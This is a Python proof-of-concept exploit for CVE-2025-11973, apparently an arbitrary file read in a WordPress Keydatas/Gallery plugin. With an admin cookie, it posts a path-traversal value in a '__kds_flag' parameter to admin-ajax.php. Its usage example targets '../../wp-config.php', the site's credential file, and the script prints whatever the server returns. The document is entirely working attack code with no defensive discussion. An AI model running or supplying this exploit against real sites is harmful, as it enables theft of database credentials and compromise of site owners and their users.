CVE-2025-11973

import requests import sys from urllib.parse import urlencode # CVE-2025-11973 PoC - WordPress Keydatas Plugin Arbitrary File Read # Target: WordPress site with Keydatas/Gallery Photo Gallery plugin <= 2.6.3 # Requirement: Administrator-level access def exploit_file_read(target_url, cookie, file_path): """ Exploit arbitrary file read vulnerability via __kds_flag parameter Args: target_url: Base URL of the WordPress site cookie: Admin session cookie (wordpress_[hash]) file_path: Path of file to read (e.g., ../../wp-config.php) Returns: File contents if successful, None otherwise """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded' } # Construct payload for __kds_flag functionality data = { 'action': 'kds_flag_import', # Plugin AJAX action '__kds_flag': file_path, 'mode': 'import_featured' } try: response = requests.post(endpoint, headers=headers, data=data, timeout=30) if response.status_code == 200: return response.text else: print(f"[-] Request failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def main(): if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie> <file_path>") print(f"Example: python {sys.argv[0]} http://example.com 'wordpress_logged_in_xxx' '../../wp-config.php'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] file_path = sys.argv[3] print(f"[*] Target: {target}") print(f"[*] Reading file: {file_path}") result = exploit_file_read(target, cookie, file_path) if result: print("\n[+] File contents:\n") print(result) else: print("[-] Failed to read file") if __name__ == '__main__': main()

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